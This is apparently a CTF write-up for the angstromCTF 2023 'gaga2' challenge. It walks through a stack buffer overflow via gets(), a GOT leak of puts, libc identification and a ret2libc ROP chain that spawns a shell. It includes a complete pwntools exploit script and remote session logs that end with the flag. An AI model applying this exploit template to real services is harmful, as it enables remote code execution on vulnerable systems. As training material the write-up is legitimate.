Leak puts address, and find the correct LIBC version from Bulkat database. Use the LIBC base address to perform a ret2libc attack.
Basic File Checks
In this 3 part challenge, gaga0 & gaga1 were solved using ret2win. However, gaga2 suggests that there is no win function available, so we're left with shellcode injection or ret2libc attack.
┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ ./gaga2
Awesome! Now there's no system(), so what will you do?!
Your input: test
Performing binary protection check shows that NX is enabled, so shellcode injection is not feasible. Additionally, NX enabled is hinting that we need to perform a ROP attack.
┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ checksec --file=gaga2
[*] '/home/kali/Desktop/CTF/angStrom2023/gaga/gaga2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Static Code Analysis
gets function is used without boundary check, leading to a pwnable scenario for Buffer Overflow attack.
voidmain(void){char local_48 [60];__gid_t local_c;setbuf(stdout,(char*)0x0);ass local_c =getegid();setresgid(local_c,local_c,local_c);puts("Awesome! Now there\'s no system(), so what will you do?!");printf("Your input: ");gets(local_48);return;}
Finding Offset
Using de Brujin Sequence and pwndbg to locate the offset.
┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]└─$ cyclic 80aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]└─$ gdb gaga2GNUgdb (Debian12.1-3) 12.1Copyright (C) 2022FreeSoftwareFoundation, Inc.LicenseGPLv3+: GNUGPL version 3or later <http://gnu.org/licenses/gpl.html>Reading symbols from gaga2...(No debugging symbols found in gaga2)pwndbg> runStarting program: /home/kali/Desktop/CTF/angStrom2023/gaga/gaga2 [Thread debugging using libthread_db enabled]Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".Awesome!Now there's no system(), so what will you do?!Your input: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaaProgram received signal SIGSEGV, Segmentation fault.0x000000000040124a in main ()LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────── RAX 0x7fffffffde70 ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa' RBX 0x7fffffffdfc8 —▸ 0x7fffffffe31a ◂— '/home/kali/Desktop/CTF/angStrom2023/gaga/gaga2' RCX 0x7ffff7f99a80 (_IO_2_1_stdin_) ◂— 0xfbad2288 RDX 0x1 RDI 0x7ffff7f9ba20 (_IO_stdfile_0_lock) ◂— 0x0 RSI 0x1 R8 0x4052f1 ◂— 0x0 R9 0x0 R10 0x1000 R11 0x246 R12 0x0 R13 0x7fffffffdfd8 —▸ 0x7fffffffe349 ◂— 'COLORFGBG=15;0' R14 0x0 R15 0x7ffff7ffd020 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0x0 RBP 0x6161617261616171 ('qaaaraaa') RSP 0x7fffffffdeb8 ◂— 'saaataaa' RIP 0x40124a (main+116) ◂— ret ┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]└─$ cyclic -l saaa72
Attack Strategy
Since there is no win function available, we can instead create our own system function /bin/sh from LIBC, and direct program execution to that function address, this is known as a ret2libc or ret2system attack. To do so, we will need the base address of LIBC library.
Technically, you can manually carve for the address of system(/bin/sh) from LIBC.
However, this is only the relative offset, not the actual address due to ASLR. In order for this attack to work, we need to calculate LIBC base address + offset address to get the actual address of system(/bin/sh).
Leaking GOT Address
Using the BoF vulnerability, we can leak any function address from the Global Offset Table (GOT).
There are 2 methods to enumerate LIBC functions from the GOT, using either objdump or Ghidra's Program Tree.
┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ objdump -t gaga2
gaga2: file format elf64-x86-64
SYMBOL TABLE:
0000000000404058 g O .bss 0000000000000008 stdout@@GLIBC_2.2.5
0000000000000000 F *UND* 0000000000000000 puts@@GLIBC_2.2.5
0000000000000000 F *UND* 0000000000000000 setresgid@@GLIBC_2.2.5
0000000000000000 F *UND* 0000000000000000 setbuf@@GLIBC_2.2.5
0000000000000000 F *UND* 0000000000000000 printf@@GLIBC_2.2.5
0000000000000000 F *UND* 0000000000000000 gets@@GLIBC_2.2.5
0000000000000000 F *UND* 0000000000000000 getegid@@GLIBC_2.2.5
The exploit ROP chain consists of 5 parts:
asm('nop') * padding: Filling up the buffer to reach the offset.
pop_rdi: Prepare the rdi register by popping the value off stack (emptying out the register).
elf.got.puts: The address we want to leak. This can be any exportable function from gaga2 binary. In this case, we will leak the address of puts function.
elf.plt.puts: The function of choice invoked to leak got.puts address. The reason why puts is used again here, is because puts only requires 1 arguments, so we only need to prepare 1 register rdi. Technically speaking, we can also use write or printf here, but it requires more arguments, hence more ROPGadgets to prepare.
elf.symbols.main: Finally, we want to redirect program execution back to main to re-exploit the BoF vulnerability.
Exploit the BoF vulnerability once to leak puts address. Note that this is the actual address, not the relative offset.
┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ ./solve.py REMOTE challs.actf.co 31302
[+] Opening connection to challs.actf.co on port 31302: Done
[*] Loaded 14 cached gadgets for './gaga2'
[DEBUG] Received 0x44 bytes:
b"Awesome! Now there's no system(), so what will you do?!\n"
b'Your input: '
[DEBUG] Sent 0x69 bytes:
00000000 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 │····│····│····│····│
*
00000040 90 90 90 90 90 90 90 90 b3 12 40 00 00 00 00 00 │····│····│··@·│····│
00000050 18 40 40 00 00 00 00 00 94 10 40 00 00 00 00 00 │·@@·│····│··@·│····│
00000060 d6 11 40 00 00 00 00 00 0a │··@·│····│·│
00000069
[DEBUG] Received 0x7 bytes:
00000000 20 04 50 05 56 7f 0a │ ·P·│V··│
00000007
[*] Leaked puts Address: 0x7f5605500420
[*] Switching to interactive mode
Calculating LIBC Base Address
Since the challenge author did not provide the LIBC file used by the remote instance, we can perform a lookup from Blukat Database using the leaked puts address. Turns out to be libc6_2.31-0ubuntu9.9_amd64.
Now that we know which version of LIBC is used, we can carve the relative offset of puts using libc.symbols['puts'], and compare it with the leaked address of got.puts to calculate the base address of LIBC.
┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ ./solve.py REMOTE challs.actf.co 31302
[+] Opening connection to challs.actf.co on port 31302: Done
[*] Loaded 14 cached gadgets for './gaga2'
[DEBUG] Received 0x44 bytes:
b"Awesome! Now there's no system(), so what will you do?!\n"
b'Your input: '
[DEBUG] Sent 0x69 bytes:
00000000 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 │····│····│····│····│
*
00000040 90 90 90 90 90 90 90 90 b3 12 40 00 00 00 00 00 │····│····│··@·│····│
00000050 18 40 40 00 00 00 00 00 94 10 40 00 00 00 00 00 │·@@·│····│··@·│····│
00000060 d6 11 40 00 00 00 00 00 0a │··@·│····│·│
00000069
[DEBUG] Received 0x7 bytes:
00000000 20 04 50 05 56 7f 0a │ ·P·│V··│
00000007
[*] Leaked puts Address: 0x7f5605500420
[*] Leaked LIBC Base Address: 0x7f560547c000
[*] Switching to interactive mode
ret2libc
Using the base address of LIBC and relative offsets, we can calculate the actual address of system(/bin/sh) to pwn the remote server. The ROP chain for 2nd round of exploitation is essentially the same. We need to pop rdi again since system() accepts 1 argument, and insert ret in the middle for 64-bit stack alignment.
solve.py
#!/usr/bin/env python3from pwn import*# Allows you to switch between local/GDB/remote from terminaldefstart(argv=[],*a,**kw):if args.GDB:# Set GDBscript belowreturn gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)elif args.REMOTE:# ('server', 'port')returnremote(sys.argv[1], sys.argv[2], *a, **kw)else:# Run locallyreturnprocess([exe] + argv, *a, **kw)# Specify GDB script here (breakpoints etc)gdbscript ='''init-pwndbgcontinue'''.format(**locals())# Binary filenameexe ='./gaga2'# This will automatically get context arch, bits, os etcelf = context.binary =ELF(exe, checksec=False)# Change logging level to help with debugging (error/warning/info/debug)context.log_level ='debug'# ===========================================================# EXPLOIT GOES HERE# ===========================================================io =start()rop =ROP(elf)libc =ELF('./libc6_2.31-0ubuntu9.9_amd64.so', checksec =False)# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec = False)pop_rdi = (rop.find_gadget(['pop rdi', 'ret']))[0]ret = (rop.find_gadget(['ret']))[0]padding =72payload =flat(asm('nop') * padding, pop_rdi, elf.got.puts, elf.plt.puts, elf.symbols.main)io.sendlineafter(b': ', payload)got_puts =unpack(io.recv()[:6].ljust(8, b"\x00"))info("Leaked puts Address: %#x", got_puts)libc_base_address = got_puts - libc.symbols['puts']print("Leaked LIBC Base Address: ", hex(libc_base_address))rop =ROP(libc)system = libc_base_address + libc.symbols['system']bin_sh = libc_base_address +next(libc.search(b"/bin/sh"))pop_rdi = libc_base_address + (rop.find_gadget(['pop rdi', 'ret']))[0]ret = libc_base_address + (rop.find_gadget(['ret']))[0]payload =flat(asm('nop') * padding, pop_rdi, bin_sh, ret, system)io.clean()io.sendlineafter(b': ', payload)io.interactive()
┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ ./solve.py REMOTE challs.actf.co 31302
[+] Opening connection to challs.actf.co on port 31302: Done
[*] Loaded 14 cached gadgets for './gaga2'
[DEBUG] Received 0x44 bytes:
b"Awesome! Now there's no system(), so what will you do?!\n"
b'Your input: '
[DEBUG] Sent 0x69 bytes:
00000000 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 │····│····│····│····│
*
00000040 90 90 90 90 90 90 90 90 b3 12 40 00 00 00 00 00 │····│····│··@·│····│
00000050 18 40 40 00 00 00 00 00 94 10 40 00 00 00 00 00 │·@@·│····│··@·│····│
00000060 d6 11 40 00 00 00 00 00 0a │··@·│····│·│
00000069
[DEBUG] Received 0x7 bytes:
00000000 20 04 50 05 56 7f 0a │ ·P·│V··│
00000007
[*] Leaked puts Address: 0x7f5605500420
Leaked LIBC Base Address: 0x7f560547c000
[*] Loaded 196 cached gadgets for './libc6_2.31-0ubuntu9.9_amd64.so'
[DEBUG] Received 0x44 bytes:
b"Awesome! Now there's no system(), so what will you do?!\n"
b'Your input: '
[DEBUG] Sent 0x69 bytes:
00000000 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 │····│····│····│····│
*
00000040 90 90 90 90 90 90 90 90 6a fb 49 05 56 7f 00 00 │····│····│j·I·│V···│
00000050 bd 05 63 05 56 7f 00 00 79 e6 49 05 56 7f 00 00 │··c·│V···│y·I·│V···│
00000060 90 e2 4c 05 56 7f 00 00 0a │··L·│V···│·│
00000069
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0xd bytes:
b'flag.txt\n'
b'run\n'
flag.txt
run
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
b'cat flag.txt\n'
[DEBUG] Received 0x28 bytes:
b"actf{b4by's_f1rst_pwn!_3857ffd6bfdf775e}"
actf{b4by's_f1rst_pwn!_3857ffd6bfdf775e}